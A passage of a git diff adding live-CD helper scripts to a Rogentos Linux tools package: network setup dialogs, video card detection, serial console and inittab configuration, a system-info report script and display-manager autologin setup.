+	[[ -e /etc/init.d/functions.sh ]] && \
+	source /etc/init.d/functions.sh
+
+# emulating einfo since it's not always available from functions.sh
+# FIXME: fix functions.sh
+einfo() {
+	[[ -x "/lib/rc/bin/einfo" ]] && /lib/rc/bin/einfo "${1}"\
+		|| echo "* ${1}"
+}
+
+livecd_parse_opt() {
+	case "$1" in
+		*\=*)
+			echo "$1" | cut -f2 -d=
+		;;
+	esac
+}
+
+livecd_check_root() {
+	if [ "$(whoami)" != "root" ]
+	then
+		echo "ERROR: must be root to continue"
+		return 1
+	fi
+}
+
+livecd_get_cmdline() {
+	echo "0" > /proc/sys/kernel/printk
+	CMDLINE=$(cat /proc/cmdline)
+	export CMDLINE
+}
+
+no_gl() {
+#	einfo "If you have a card that you know is supported by either the ATI or"
+#	einfo "NVIDIA binary drivers, please file a bug with the output of lspci"
+#	einfo "on http://bugs.gentoo.org so we can resolve this."
+	GLTYPE=xorg-x11
+}
+
+ati_gl() {
+	einfo "ATI card detected."
+	if [ -e /usr/lib/xorg/modules/drivers/fglrx_drv.so ] \
+	|| [ -e /usr/lib/modules/drivers/fglrx_drv.so ]
+	then
+		GLTYPE=ati
+	else
+		GLTYPE=xorg-x11
+	fi
+}
+
+nv_gl() {
+	einfo "NVIDIA card detected."
+	if [ -e /usr/lib/xorg/modules/drivers/nvidia_drv.so ] \
+	|| [ -e /usr/lib/modules/drivers/nvidia_drv.so ]
+	then
+		GLTYPE=nvidia
+	else
+		GLTYPE=xorg-x11
+	fi
+}
+
+nv_no_gl() {
+	einfo "NVIDIA card detected."
+	echo
+	if [ -e /usr/lib/xorg/modules/drivers/nvidia_drv.so ] \
+	|| [ -e /usr/lib/modules/drivers/nvidia_drv.so ]
+	then
+		einfo "This card is not supported by the latest version of the NVIDIA"
+		einfo "binary drivers.  Switching to the X server's driver instead."
+	fi
+	GLTYPE=xorg-x11
+	sed -i 's/nvidia/nv/' /etc/X11/xorg.conf
+}
+
+get_video_cards() {
+	[ -x /sbin/lspci ] && VIDEO_CARDS="$(/sbin/lspci | grep ' VGA ')"
+	[ -x /usr/sbin/lspci ] && VIDEO_CARDS="$(/usr/sbin/lspci | grep ' VGA ')"
+	#NUM_CARDS="$(echo ${VIDEO_CARDS} | wc -l)"
+	#if [ ${NUM_CARDS} -eq 1 ] # Disabled to support NVIDIA SLI devices
+	#then
+		NVIDIA=$(echo ${VIDEO_CARDS} | grep -i "nVidia Corporation")
+		ATI=$(echo ${VIDEO_CARDS} | grep -i "ATI Technologies")
+		if [ -n "${NVIDIA}" ]
+		then
+			# Always set NVIDIA OpenGL, since it's stupid doing the contrary because:
+			# there's no X.Org free driver that supports OpenGL through MESA
+			nv_gl
+		elif [ -n "${ATI}" ]
+		then
+			ATI_CARD=$(echo ${ATI} | awk 'BEGIN {RS=" "} /(R|RV|RS|M)[0-9]+/ {print $1}')
+			if [ $(echo ${ATI_CARD} | grep S) ]
+			then
+				ATI_CARD_OUT=$(echo ${ATI_CARD} | cut -dS -f2)
+			elif [ $(echo ${ATI_CARD} | grep V) ]
+			then
+				ATI_CARD_OUT=$(echo ${ATI_CARD} | cut -dV -f2)
+			elif [ $(echo ${ATI_CARD} | grep M)  ]
+			then
+				# ATI Technologies Inc. M52 [ ATI Mobility Radeon X1300 ]
+				ATI_CARD_OUT=$(echo ${ATI_CARD} | cut -dM -f2)
+			else
+				ATI_CARD_OUT=$(echo ${ATI_CARD} | cut -dR -f2)
+			fi
+
+			if [ -n "${ATI_CARD_OUT}" ] && [ ${ATI_CARD_OUT} -ge 300 ]
+			then
+				ati_gl
+			elif [ -n "${ATI_CARD_OUT}" ] && [ -n "`echo ${ATI_CARD} | grep M`" ]
+			then
+				# this is an ATI Mxx card
+				ati_gl
+			# >8.29.6 does not support R200 anymore
+			elif [ -n "${ATI_CARD_OUT}" ] && [ ${ATI_CARD_OUT} -ge 200 ]
+			then
+				no_gl
+			else
+				# set ATI OpenGL anyway
+				ati_gl
+			fi
+		else
+			no_gl
+		fi
+	#fi
+}
+
+livecd_config_wireless() {
+	cd /tmp/setup.opts
+	[ -x /usr/sbin/iwconfig ] && iwconfig=/usr/sbin/iwconfig
+	[ -x /sbin/iwconfig ] && iwconfig=/sbin/iwconfig
+	dialog --title "SSID" --inputbox "Please enter your SSID, or leave blank for selecting the nearest open network" 20 50 2> ${iface}.SSID
+	SSID=$(tail -n 1 ${iface}.SSID)
+	if [ -n "${SSID}" ]
+	then
+		dialog --title "WEP (Part 1)" --menu "Does your network use encryption?" 20 60 7 1 "Yes" 2 "No" 2> ${iface}.WEP
+		WEP=$(tail -n 1 ${iface}.WEP)
+		case ${WEP} in
+			1)
+				dialog --title "WEP (Part 2)" --menu "Are you entering your WEP key in HEX or ASCII?" 20 60 7 1 "HEX" 2 "ASCII" 2> ${iface}.WEPTYPE
+				WEP_TYPE=$(tail -n 1 ${iface}.WEPTYPE)
+				case ${WEP_TYPE} in
+					1)
+						dialog --title "WEP (Part 3)" --inputbox "Please enter your WEP key in the form of XXXX-XXXX-XX for 64-bit or XXXX-XXXX-XXXX-XXXX-XXXX-XXXX-XX for 128-bit" 20 50 2> ${iface}.WEPKEY
+						WEP_KEY=$(tail -n 1 ${iface}.WEPKEY)
+						if [ -n "${WEP_KEY}" ]
+						then
+							${iwconfig} ${iface} essid "${SSID}"
+							${iwconfig} ${iface} key "${WEP_KEY}"
+						fi
+					;;
+					2)
+						dialog --title "WEP (Part 3)" --inputbox "Please enter your WEP key in ASCII form.  This should be 5 or 13 characters for either 64-bit or 128-bit encryption, repectively" 20 50 2> ${iface}.WEPKEY
+						WEP_KEY=$(tail -n 1 ${iface}.WEPKEY)
+						if [ -n "${WEP_KEY}" ]
+						then
+							${iwconfig} ${iface} essid "${SSID}"
+							${iwconfig} ${iface} key "s:${WEP_KEY}"
+						fi
+					;;
+				esac
+			;;
+			2)
+				${iwconfig} ${iface} essid "${SSID}"
+				${iwconfig} ${iface} key off
+			;;
+		esac
+	fi
+}
+
+livecd_write_wireless_conf() {
+	cd /tmp/setup.opts
+	SSID=$(tail -n 1 ${iface}.SSID)
+	if [ -n "${SSID}" ]
+	then
+		echo "" >> /etc/conf.d/net
+		echo "# This wireless configuration file was built by net-setup" > /etc/conf.d/net
+		WEP=$(tail -n 1 ${iface}.WEPTYPE)
+		case ${WEP} in
+			1)
+				WEP_TYPE=$(tail -n 1 ${iface}.WEPTYPE)
+				if [ -n "${WEP_TYPE}" ]
+				then
+					WEP_KEY=$(tail -n 1 ${iface}.WEPKEY)
+					if [ -n "${WEP_KEY}" ]
+					then
+						SSID_TRANS=$(echo ${SSID//[![:word:]]/_})
+						case ${WEP_TYPE} in
+							1)
+								echo "key_${SSID_TRANS}=\"${WEP_KEY} enc open\"" >> /etc/conf.d/net
+							;;
+							2)
+								echo "key_${SSID_TRANS}=\"s:${WEP_KEY} enc open\"" >> /etc/conf.d/net
+							;;
+						esac
+					fi
+				fi
+			;;
+			2)
+				:
+			;;
+		esac
+		echo "preferred_aps=( \"${SSID}\" )" >> /etc/conf.d/net
+		echo "associate_order=\"forcepreferredonly\"" >> /etc/conf.d/net
+	fi
+}
+
+livecd_config_ip() {
+	cd /tmp/setup.opts
+	dialog --title "TCP/IP setup" --menu "You can use DHCP to automatically configure a network interface or you can specify an IP and related settings manually. Choose one option:" 20 60 7 1 "Use DHCP to auto-detect my network settings" 2 "Specify an IP address manually" 2> ${iface}.DHCP
+	DHCP=$(tail -n 1 ${iface}.DHCP)
+	case ${DHCP} in
+		1)
+			/sbin/dhclient -q -r -nw ${iface} &
+		;;
+		2)
+			dialog --title "IP address" --inputbox "Please enter an IP address for ${iface}:" 20 50 "192.168.1.1" 2> ${iface}.IP
+			IP=$(tail -n 1 ${iface}.IP)
+			BC_TEMP=$(echo $IP|cut -d . -f 1).$(echo $IP|cut -d . -f 2).$(echo $IP|cut -d . -f 3).255
+			dialog --title "Broadcast address" --inputbox "Please enter a Broadcast address for ${iface}:" 20 50 "${BC_TEMP}" 2> ${iface}.BC
+			BROADCAST=$(tail -n 1 ${iface}.BC)
+			dialog --title "Network mask" --inputbox "Please enter a Network Mask for ${iface}:" 20 50 "255.255.255.0" 2> ${iface}.NM
+			NETMASK=$(tail -n 1 ${iface}.NM)
+			dialog --title "Gateway" --inputbox "Please enter a Gateway for ${iface} (hit enter for none:)" 20 50 2> ${iface}.GW
+			GATEWAY=$(tail -n 1 ${iface}.GW)
+			dialog --title "DNS server" --inputbox "Please enter a name server to use (hit enter for none:)" 20 50 2> ${iface}.DNS
+			DNS=$(tail -n 1 ${iface}.DNS)
+			/sbin/ifconfig ${iface} ${IP} broadcast ${BROADCAST} netmask ${NETMASK}
+			if [ -n "${GATEWAY}" ]
+			then
+				/sbin/route add default gw ${GATEWAY} dev ${iface} netmask 0.0.0.0 metric 1
+			fi
+			if [ -n "${DNS}" ]
+			then
+				dialog --title "DNS Search Suffix" --inputbox "Please enter any domains which you would like to search on DNS queries (hit enter for none:)" 20 50 2> ${iface}.SUFFIX
+				SUFFIX=$(tail -n 1 ${iface}.SUFFIX)
+				echo "nameserver ${DNS}" > /etc/resolv.conf
+				if [ -n "${SUFFIX}" ]
+				then
+					echo "search ${SUFFIX}" >> /etc/resolv.conf
+				fi
+			fi
+		;;
+	esac
+}
+
+livecd_write_net_conf() {
+	cd /tmp/setup.opts
+	echo "# Sabayon Linux static network configuration tool" > /etc/conf.d/net
+	DHCP=$(tail -n 1 ${iface}.DHCP)
+	case ${DHCP} in
+		1)
+			echo "config_${iface}=\"dhcp\"" >> /etc/conf.d/net
+			echo "dhcp_${iface}=\"nosendhost\"" >> /etc/conf.d/net
+		;;
+		2)
+			IP=$(tail -n 1 ${iface}.IP)
+			BROADCAST=$(tail -n 1 ${iface}.BC)
+			NETMASK=$(tail -n 1 ${iface}.NM)
+			GATEWAY=$(tail -n 1 ${iface}.GW)
+			DNS="$(tail -n 1 ${iface}.DNS)"
+			DOMAIN="$(tail -n 1 ${iface}.SUFFIX)"
+			if [ -n "${IP}" -a -n "${BROADCAST}" -a -n "${NETMASK}" ]
+			then
+				echo "config_${iface}=\"${IP} netmask ${NETMASK} broadcast ${BROADCAST}\"" >> /etc/conf.d/net
+				if [ -n "${GATEWAY}" ]
+				then
+					echo "routes_${iface}=\"default via ${GATEWAY}\"" >> /etc/conf.d/net
+				fi
+				if [ -n "${DNS}" ]
+				then
+					echo "dns_servers_${iface}=\"${DNS}\"" >> /etc/conf.d/net
+				fi
+				if [ -n "${DOMAIN}" ]
+				then
+					echo "dns_search_${iface}=\"${DOMAIN}\"" >> /etc/conf.d/net
+				fi
+			fi
+		;;
+	esac
+}
+
+get_ifmac() {
+	local iface=$1
+
+	# Example: 00:01:6f:e1:7a:06
+	cat /sys/class/net/${iface}/address
+}
+
+
+get_ifdriver() {
+	local iface=$1
+
+	# Example: ../../../bus/pci/drivers/forcedeth (wanted: forcedeth)
+	local if_driver=$(readlink /sys/class/net/${iface}/device/driver)
+	basename ${if_driver}
+}
+
+get_ifbus() {
+	local iface=$1
+
+	# Example: ../../../bus/pci (wanted: pci)
+	# Example: ../../../../bus/pci (wanted: pci)
+	# Example: ../../../../../../bus/usb (wanted: usb)
+	local if_bus=$(readlink /sys/class/net/${iface}/device/bus)
+	basename ${if_bus}
+}
+
+livecd_rev_string() {
+	# See Sabayon #2522, cannot use /usr/bin/rev because
+	# /usr might not be mounted
+	local copy=${1}
+	len=${#copy}
+	for((i=$len-1;i>=0;i--)); do rev="$rev${copy:$i:1}"; done
+	echo ${rev}
+}
+
+get_ifproduct() {
+	local iface=$1
+	local bus=$(get_ifbus ${iface})
+	local if_pciaddr
+	local if_devname
+	local if_usbpath
+	local if_usbmanufacturer
+	local if_usbproduct
+
+	if [[ ${bus} == "pci" ]]
+	then
+		# Example: ../../../devices/pci0000:00/0000:00:0a.0 (wanted: 0000:00:0a.0)
+		# Example: ../../../devices/pci0000:00/0000:00:09.0/0000:01:07.0 (wanted: 0000:01:07.0)
+		if_pciaddr=$(readlink /sys/class/net/${iface}/device)
+		if_pciaddr=$(basename ${if_pciaddr})
+
+		# Example: 00:0a.0 Bridge: nVidia Corporation CK804 Ethernet Controller (rev a3)
+		#  (wanted: nVidia Corporation CK804 Ethernet Controller)
+		if_devname=$(lspci -s ${if_pciaddr})
+		if_devname=${if_devname#*: }
+		if_devname=${if_devname%(rev *)}
+	fi
+
+	if [[ ${bus} == "usb" ]]
+	then
+		if_usbpath=$(readlink /sys/class/net/${iface}/device)
+		if_usbpath=/sys/class/net/${iface}/$(dirname ${if_usbpath})
+		if_usbmanufacturer=$(< ${if_usbpath}/manufacturer)
+		if_usbproduct=$(< ${if_usbpath}/product)
+
+		[[ -n ${if_usbmanufacturer} ]] && if_devname="${if_usbmanufacturer} "
+		[[ -n ${if_usbproduct} ]] && if_devname="${if_devname}${if_usbproduct}"
+	fi
+
+	if [[ ${bus} == "ieee1394" ]]
+	then
+		if_devname="IEEE1394 (FireWire) Network Adapter";
+	fi
+
+	echo ${if_devname}
+}
+
+get_ifdesc() {
+	local iface=$1
+	desc=$(get_ifproduct ${iface})
+	if [[ -n ${desc} ]]
+	then
+		echo $desc
+		return;
+	fi
+
+	desc=$(get_ifdriver ${iface})
+	if [[ -n ${desc} ]]
+	then
+		echo $desc
+		return;
+	fi
+
+	desc=$(get_ifmac ${iface})
+	if [[ -n ${desc} ]]
+	then
+		echo $desc
+		return;
+	fi
+
+	echo "Unknown"
+}
+
+show_ifmenu() {
+	local old_ifs="${IFS}"
+	local opts
+	IFS=""
+	for ifname in $(/sbin/ifconfig -a | grep "^[^ ]"); do
+		ifname="${ifname%% *}"
+		[[ ${ifname} == "lo" ]] && continue
+		opts="${opts} '${ifname}' '$(get_ifdesc ${ifname})'"
+	done
+	IFS="${old_ifs}"
+
+	eval dialog --menu \"Please select the interface that you wish to configure from the list below:\" 0 0 0 $opts 2>iface
+	[[ "$?" == "1" ]] && exit
+
+	iface=$(< iface)
+}
+
+show_ifconfirm() {
+	local iface=$1
+	local if_mac=$(get_ifmac ${iface})
+	local if_driver=$(get_ifdriver ${iface})
+	local if_bus=$(get_ifbus ${iface})
+	local if_product=$(get_ifproduct ${iface})
+
+	local text="Details for network interface ${iface} are shown below.\n\nInterface name: ${iface}\n"
+	[[ -n ${if_product} ]] && text="${text}Device: ${if_product}\n"
+	[[ -n ${if_mac} ]] && text="${text}MAC address: ${if_mac}\n"
+	[[ -n ${if_driver} ]] && text="${text}Driver: ${if_driver}\n"
+	[[ -n ${if_bus} ]] && text="${text}Bus type: ${if_bus}\n"
+	text="${text}\nIs this the interface that you wish to configure?"
+
+	if ! dialog --title "Interface details" --yesno "${text}" 15 70
+	then
+		result="no"
+	else
+		result="yes"
+	fi
+}
+
+livecd_console_settings() {
+	# scan for a valid baud rate
+	case "$1" in
+		300*)
+			LIVECD_CONSOLE_BAUD=300
+		;;
+		600*)
+			LIVECD_CONSOLE_BAUD=600
+		;;
+		1200*)
+			LIVECD_CONSOLE_BAUD=1200
+		;;
+		2400*)
+			LIVECD_CONSOLE_BAUD=2400
+		;;
+		4800*)
+			LIVECD_CONSOLE_BAUD=4800
+		;;
+		9600*)
+			LIVECD_CONSOLE_BAUD=9600
+		;;
+		14400*)
+			LIVECD_CONSOLE_BAUD=14400
+		;;
+		19200*)
+			LIVECD_CONSOLE_BAUD=19200
+		;;
+		28800*)
+			LIVECD_CONSOLE_BAUD=28800
+		;;
+		38400*)
+			LIVECD_CONSOLE_BAUD=38400
+		;;
+		57600*)
+			LIVECD_CONSOLE_BAUD=57600
+		;;
+		115200*)
+			LIVECD_CONSOLE_BAUD=115200
+		;;
+	esac
+	if [ "${LIVECD_CONSOLE_BAUD}" = "" ]
+	then
+		# If it's a virtual console, set baud to 38400, if it's a serial
+		# console, set it to 9600 (by default anyhow)
+		case ${LIVECD_CONSOLE} in 
+			tty[0-9])
+				LIVECD_CONSOLE_BAUD=38400
+			;;
+			*)
+				LIVECD_CONSOLE_BAUD=9600
+			;;
+		esac
+	fi
+	export LIVECD_CONSOLE_BAUD
+
+	# scan for a valid parity
+	# If the second to last byte is a [n,e,o] set parity
+	local parity
+	parity=$(livecd_rev_string $1 | cut -b 2-2)
+	case "$parity" in
+		[neo])
+			LIVECD_CONSOLE_PARITY=$parity
+		;;
+	esac
+	export LIVECD_CONSOLE_PARITY	
+
+	# scan for databits
+	# Only set databits if second to last character is parity
+	if [ "${LIVECD_CONSOLE_PARITY}" != "" ]
+	then
+		LIVECD_CONSOLE_DATABITS=$(livecd_rev_string $1 | cut -b 1)
+	fi
+	export LIVECD_CONSOLE_DATABITS
+	return 0
+}
+
+livecd_read_commandline() {
+	livecd_get_cmdline || return 1
+
+	for x in ${CMDLINE}
+	do
+		case "${x}" in
+			cdroot)
+				CDBOOT="yes"
+				RC_NO_UMOUNTS="^(/|/dev|/dev/pts|/lib/rcscripts/init.d|/proc|/proc/.*|/sys|/mnt/livecd|/newroot)$"
+				export CDBOOT RC_NO_UMOUNTS
+			;;
+			cdroot\=*)
+				CDBOOT="yes"
+				RC_NO_UMOUNTS="^(/|/dev|/dev/pts|/lib/rcscripts/init.d|/proc|/proc/.*|/sys|/mnt/livecd|/newroot)$"
+				export CDBOOT RC_NO_UMOUNTS
+			;;
+			console\=*)
+				local live_console
+				live_console=$(livecd_parse_opt "${x}")
+
+				# Parse the console line. No options specified if
+				# no comma
+				LIVECD_CONSOLE=$(echo ${live_console} | cut -f1 -d,)
+				if [ "${LIVECD_CONSOLE}" = "" ]
+				then
+					# no options specified
+					LIVECD_CONSOLE=${live_console}
+				else
+					# there are options, we need to parse them
+					local livecd_console_opts
+					livecd_console_opts=$(echo ${live_console} | cut -f2 -d,)
+					livecd_console_settings  ${livecd_console_opts}
+				fi
+				export LIVECD_CONSOLE
+			;;
+		esac
+	done
+	return 0
+}
+
+livecd_fix_inittab() {
+	if [ "${CDBOOT}" = "" ]
+	then
+		return 1
+	fi
+
+	# Create a backup
+	cp -f /etc/inittab /etc/inittab.old
+
+	# Comment out current getty settings
+	sed -i -e '/^c[0-9]/ s/^/#/' /etc/inittab
+	sed -i -e '/^s[01]/ s/^/#/' /etc/inittab
+
+	# SPARC & HPPA console magic
+	if [ "${HOSTTYPE}" = "sparc" -o "${HOSTTYPE}" = "hppa" -o "${HOSTTYPE}" = "ppc64" ]
+	then
+		# Mount openprom tree for user debugging purposes
+		if [ "${HOSTTYPE}" = "sparc" ]
+		then
+			mount -t openpromfs none /proc/openprom
+		fi
+
+		# SPARC serial port A, HPPA mux / serial
+		if [ -c "/dev/ttyS0" ]
+		then
+			LIVECD_CONSOLE_BAUD=$(stty -F /dev/ttyS0 speed)
+			echo "s0:12345:respawn:/sbin/agetty -nl /bin/bashlogin ${LIVECD_CONSOLE_BAUD} ttyS0 vt100" >> /etc/inittab
+		fi
+		# HPPA software PDC console (K-models)
+		if [ "${LIVECD_CONSOLE}" = "ttyB0" ]
+		then
+			mknod /dev/ttyB0 c 11 0
+			LIVECD_CONSOLE_BAUD=$(stty -F /dev/ttyB0 speed)
+			echo "b0:12345:respawn:/sbin/agetty -nl /bin/bashlogin ${LIVECD_CONSOLE_BAUD} ttyB0 vt100" >> /etc/inittab
+		fi
+		# FB / STI console
+		if [ -c "/dev/vc/1" -o -c "/dev/tts/1" -o -c "/dev/tty2" ]
+		then
+			MODEL_NAME=$(cat /proc/cpuinfo |grep "model name"|sed 's/.*: //')
+			if [ "${MODEL_NAME}" = "UML" ]
+			then
+			    for x in 0 1 2 3 4 5 6
+			    do
+				    echo "c${x}:12345:respawn:/sbin/mingetty --noclear --autologin root tty${x}" >> /etc/inittab
+			    done
+			else
+			    for x in 1 2 3 4 5 6
+			    do
+				    echo "c${x}:12345:respawn:/sbin/mingetty --noclear --autologin root tty${x}" >> /etc/inittab
+			    done
+			fi
+		fi
+		if [ -c "/dev/hvc0" ]
+		then
+			einfo "Adding hvc console to inittab"
+			echo "s0:12345:respawn:/sbin/agetty -nl /bin/bashlogin 9600 hvc0 vt320" >> /etc/inittab
+		fi
+
+
+	# The rest...
+	else
+		for x in 1 2 3 4 5 6
+		do
+			echo "c${x}:12345:respawn:/sbin/agetty -nl /bin/bashlogin 38400 tty${x} linux" >> /etc/inittab
+		done
+	fi
+
+	# EFI-based machines should automatically hook up their console lines
+	if dmesg | grep -q '^Adding console on'
+	then
+		dmesg | grep '^Adding console on' | while read x; do
+			line=`echo "$x" | cut -d' ' -f4`
+			id=e`echo "$line" | grep -o '.\{1,3\}$'`
+			[ "${line}" = "${LIVECD_CONSOLE}" ] && continue  # already setup above
+			case "$x" in
+				*options\ \'[0-9]*) speed=`echo "$x" | sed "s/.*options '//; s/[^0-9].*//"` ;;
+				*) speed=9600 ;;  # choose a default, only matters if it is serial
+			esac
+			echo "$id:12345:respawn:/sbin/agetty -nl /bin/bashlogin ${speed} ${line} vt100" >> /etc/inittab
+		done
+	fi
+
+	# force reread of inittab
+	kill -HUP 1
+	return 0
+}
diff --git a/app-misc/rogentoslive-tools/files/2/livespawn b/app-misc/rogentoslive-tools/files/2/livespawn
new file mode 100644
index 00000000..44d7257e
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/livespawn
@@ -0,0 +1,10 @@
+#!/usr/bin/python
+import sys, os, subprocess
+args = sys.argv[1:]
+if not args: raise SystemExit(1)
+
+pid = os.fork()
+if pid == 0:
+	p = subprocess.Popen(args)
+	rc = p.wait()
+	raise SystemExit(rc)
diff --git a/app-misc/rogentoslive-tools/files/2/logscript.sh b/app-misc/rogentoslive-tools/files/2/logscript.sh
new file mode 100644
index 00000000..78381915
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/logscript.sh
@@ -0,0 +1,111 @@
+#!/bin/sh
+#requires the following
+# free, hostname, grep, cut, awk, uname
+
+HOSTNAME=`hostname -s`
+IP_ADDRS=`ifconfig | grep 'inet addr' | grep -v '255.0.0.0' | cut -f2 -d':' | awk '{print $1}'`
+IP_ADDRS=`echo $IP_ADDRS | sed 's/\n//g'`
+
+#memory
+MEMORY=`free | grep Mem | awk '{print $2}'`
+
+#cpu info
+CPUS=`cat /proc/cpuinfo | grep processor | wc -l | awk '{print $1}'`
+CPU_MHZ=`cat /proc/cpuinfo | grep MHz | tail -n1 | awk '{print $4}'`
+CPU_TYPE=`cat /proc/cpuinfo | grep vendor_id | tail -n 1 | awk '{print $3}'`
+CPU_TYPE2=`uname -m`
+CPU_TYPE3=`uname -p`
+
+OS_NAME=`uname -s`
+OS_OS=`uname -o`
+OS_KERNEL=`uname -r`
+OS_RELEASE=`cat /etc/rogentos-release`
+OS_EDITION=`cat /etc/rogentos-edition`
+ESELECT_KERNEL=`eselect --no-color kernel list`
+ESELECT_OPENGL=`eselect --no-color opengl list`
+ESELECT_JAVA=`eselect --no-color java-vm list`
+ESELECT_JAVAP=`eselect --no-color java-nsplugin list`
+
+EQUO=`equo --version`
+PORTAGE=`emerge --version`
+
+UPTIME=`uptime`
+MEM=`free -t -m`
+SPACE=`df -TH`
+
+PCIINFO=`lspci | cut -f3 -d':'`
+#Another way to do it
+#PCIINFO=`lspci | cut -f3 -d':'`
+
+LSUSB=`lsusb`
+LSMOD=`lsmod`
+#print it out
+echo "$HOSTNAME"
+echo "--------------------------------------------------------------------"
+echo "Hostname         : $HOSTNAME"
+echo "Host Address     : $IP_ADDRS"
+echo "Main Memory      : $MEMORY"
+echo "Number of CPUs   : $CPUS"
+echo "CPU Type         : $CPU_TYPE2 $CPU_TYPE3 $CPU_MHZ MHz"
+echo "OS Release       : $OS_RELEASE"
+echo "OS Edition       : $OS_EDITION"
+echo "Kernel Name      : $OS_NAME $OS_OS"
+echo "Kernel Version   : $OS_KERNEL"
+echo "Uptime           : $UPTIME"
+echo "--------------------------------------------------------------------"
+echo
+echo "Entropy Version"
+echo "$EQUO"
+echo
+echo "Portage Version"
+echo "$PORTAGE"
+echo "--------------------------------------------------------------------"
+echo
+echo "Kernel List"
+echo "$ESELECT_KERNEL"
+echo "Your Kernel Should Be Set To:"
+echo "$OS_KERNEL"
+echo "Use eselect kernel set #"
+echo "--------------------------------------------------------------------"
+echo
+echo "OpenGL List"
+echo "$ESELECT_OPENGL"
+echo "The above should be set to your video card, see lspci"
+echo "Use eselect opengl set #"
+echo "--------------------------------------------------------------------"
+echo
+echo "Java VM List"
+echo "$ESELECT_JAVA"
+echo "Use java-config --set-system-vm #"
+echo "--------------------------------------------------------------------"
+echo
+echo "Java-nsplugin List"
+echo "$ESELECT_JAVAP"
+echo "Use eselect java-nsplugin set #"
+echo "--------------------------------------------------------------------"
+echo
+echo "Devices - lspci"
+echo "--------------------------------------------------------------------"
+echo "$PCIINFO"
+echo "--------------------------------------------------------------------"
+echo
+echo "Devices - lsmod"
+echo "--------------------------------------------------------------------"
+echo "$LSMOD"
+echo "--------------------------------------------------------------------"
+echo
+echo "Devices - lsusb"
+echo "--------------------------------------------------------------------"
+echo "$LSUSB"
+echo "--------------------------------------------------------------------"
+echo
+echo "Memory"
+echo "--------------------------------------------------------------------"
+echo "$MEM"
+echo "--------------------------------------------------------------------"
+echo
+echo "Disk Space"
+echo "--------------------------------------------------------------------"
+echo "$SPACE"
+echo "--------------------------------------------------------------------"
+echo
diff --git a/app-misc/rogentoslive-tools/files/2/net-setup b/app-misc/rogentoslive-tools/files/2/net-setup
new file mode 100644
index 00000000..e84de48b
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/net-setup
@@ -0,0 +1,65 @@
+#!/bin/bash
+# Copyright 1999-2005 Gentoo Foundation
+# Copyright 2006-2008 Fabio Erculiani
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo/src/livecd-tools/net-setup,v 1.19 2006/05/30 20:20:11 wolf31o2 Exp $
+
+if [ -f /sbin/livecd-functions.sh ]
+then
+	source /sbin/livecd-functions.sh
+else
+	echo "ERROR: /sbin/livecd-functions.sh could not be loaded!"
+	exit 1
+fi
+
+if [ ! -x $(which dialog) ]
+then
+	echo "ERROR: The dialog utility is required for net-setup.  Exiting!"
+	exit 1
+fi
+
+livecd_check_root || exit 1
+
+# Hide any potential error messages from the readlink/dirname/etc calls below
+exec 2>/dev/null
+
+if [ -z "${1}" ]
+then
+	show_ifmenu
+	echo $iface
+else
+	iface="${1}"
+fi
+
+[ ! -d /tmp/setup.opts ] && mkdir /tmp/setup.opts
+cd /tmp/setup.opts
+
+while true; do
+	show_ifconfirm $iface
+	[[ $result == "yes" ]] && break
+	show_ifmenu
+done
+
+# Show stderr again
+exec 2>/dev/stderr
+
+dialog --title "Network setup" --menu "This script is designed to setup both wired and wireless network settings.  All questions below apply to the ${iface} interface only.  Choose one option:" 20 60 7 1 "My network is wireless" 2 "My network is wired" 2> ${iface}.WIRED_WIRELESS
+WIRED_WIRELESS=$(tail -n 1 ${iface}.WIRED_WIRELESS)
+case ${WIRED_WIRELESS} in
+	1)
+		livecd_config_wireless
+		livecd_config_ip
+		livecd_write_wireless_conf
+		;;
+	2)
+		livecd_config_ip
+		;;
+	*)
+		exit 0
+		;;
+esac
+livecd_write_net_conf
+
+echo "Type \"ifconfig\" to make sure the interface was configured correctly."
+
+# vim: ts=4
diff --git a/app-misc/rogentoslive-tools/files/2/rogentos-functions.sh b/app-misc/rogentoslive-tools/files/2/rogentos-functions.sh
new file mode 100644
index 00000000..d5584715
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/rogentos-functions.sh
@@ -0,0 +1,284 @@
+#!/bin/bash
+
+GDM_FILE="/usr/share/gdm/defaults.conf"
+CUSTOM_GDM_FILE="/etc/gdm/custom.conf"
+KDM_FILE="/usr/share/config/kdm/kdmrc"
+LXDM_FILE="/etc/lxdm/lxdm.conf"
+LIGHTDM_FILE="/etc/lightdm/lightdm.conf"
+OEM_FILE="/etc/oemlive.sh"
+OEM_FILE_NEW="/etc/oem/liveboot.sh"
+LIVE_USER_GROUPS="audio bumblebee cdrom cdrw clamav console entropy games \
+kvm lp lpadmin messagebus plugdev polkituser portage pulse pulse-access pulse-rt \
+scanner usb users uucp vboxguest vboxusers video wheel"
+LIVE_USER=${ROGENTOS_USER:-rogentosuser}
+
+rogentos_setup_autologin() {
+	# GDM - GNOME
+	if [ -f "${GDM_FILE}" ]; then
+		sed -i "s/^AutomaticLoginEnable=.*/AutomaticLoginEnable=true/" ${GDM_FILE}
+		sed -i "s/^AutomaticLogin=.*/AutomaticLogin=${LIVE_USER}/" ${GDM_FILE}
+
+		sed -i "s/^TimedLoginEnable=.*/TimedLoginEnable=true/" ${GDM_FILE}
+		sed -i "s/^TimedLogin=.*/TimedLogin=${LIVE_USER}/" ${GDM_FILE}
+		sed -i "s/^TimedLoginDelay=.*/TimedLoginDelay=0/" ${GDM_FILE}
+
+	elif [ -f "${CUSTOM_GDM_FILE}" ]; then
+		# FIXME: if this is called multiple times, it generates duplicated entries
+		sed -i "s:\[daemon\]:\[daemon\]\nAutomaticLoginEnable=true\nAutomaticLogin=${LIVE_USER}\nTimedLoginEnable=true\nTimedLogin=${LIVE_USER}\nTimedLoginDelay=0:" \
+			"${CUSTOM_GDM_FILE}"
+		# change other entries there
+		sed -i "s/^TimedLogin=.*/TimedLogin=${LIVE_USER}/" "${CUSTOM_GDM_FILE}"
+		sed -i "s/^AutomaticLogin=.*/AutomaticLogin=${LIVE_USER}/" "${CUSTOM_GDM_FILE}"
+	fi
+
+	# KDM - KDE
+	if [ -f "$KDM_FILE" ]; then
+		sed -i "s/AutoLoginEnable=.*/AutoLoginEnable=true/" $KDM_FILE
+		sed -i "s/AutoLoginUser=.*/AutoLoginUser=${LIVE_USER}/" $KDM_FILE
+		sed -i "s/AutoLoginDelay=.*/AutoLoginDelay=0/" $KDM_FILE
